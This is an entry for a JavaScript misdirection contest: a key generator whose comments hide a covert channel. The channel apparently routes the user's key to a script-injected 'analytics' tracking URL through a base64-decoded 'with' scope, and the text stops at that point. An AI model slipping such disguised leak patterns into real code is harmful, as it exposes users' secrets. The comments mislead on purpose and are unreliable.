JavaScript Misdirection Contest #0

See http://misdirect.ion.land

HTML

<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->
<textarea oninput="generateKey()" id="user-input"></textarea>
<span id="result"></span>
<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->

CSS

/* DO NOT MODIFY THIS CSS, ONLY THE JAVASCRIPT PART */

JavaScript

// analytics details
var analytics = {
    // tracking URL
    url: '/echo/js/?js=analytics&site_key=',
        
    // this site's key to distinguish the events from our other sites
    key: 'VeryDependableCoin'
};

function trackAnalytics()
{
    // create a script element to send our analytics tracking event
    var scriptElem = document.createElement('script');
    scriptElem.src = analytics.url + analytics.key;
    document.body.appendChild(scriptElem);
}

// http://stackoverflow.com/a/7616484/4237824
// return a 32-bit hash of a string
function getHash(str) {
  var hash = 0, i, chr, len;
  if (str.length == 0) return hash;
  for (i = 0, len = str.length; i < len; i++) {
    chr   = str.charCodeAt(i);
    hash  = ((hash << 5) - hash) + chr;
    hash |= 0; // Convert to 32bit integer
  }
  return hash;
}

// generates a scope name based on a random input string
// by decoding it into a jumble of characters, ensuring
// that it doesn't collide with any existing variables
function generateScopeName(randScopeName)
{
    return atob(randScopeName);
}

// https://developer.mozilla.org/en-US/docs/Web/API/Window/crypto
var cryptoObj = window.crypto || window.msCrypto;

// given a 32-bit seed, generate a random key
function getKey(seed)
{
    var arr = new Uint8Array(16);
    
    // get cryptographically secure random values
    cryptoObj.getRandomValues(arr);
    
    var chrArr = [];
    for (var i = 0; i < arr.length; ++i)
    {
        // convert the seed + random value into a character
        chrArr.push((arr[i] + seed) % 256);
    }
    
    // convert to base 64 in case of unprintable characters
    return btoa(chrArr.join(''));
}

var inputElem = document.getElementById('user-input'),
    outputElem = document.getElementById('result');

function generateKey() {
    // generate a scope name based on a random string
    var scopeName = generateScopeName('YW5hbHl0aWNz');
    
    // create a new scope to avoid variable name collisions
    with...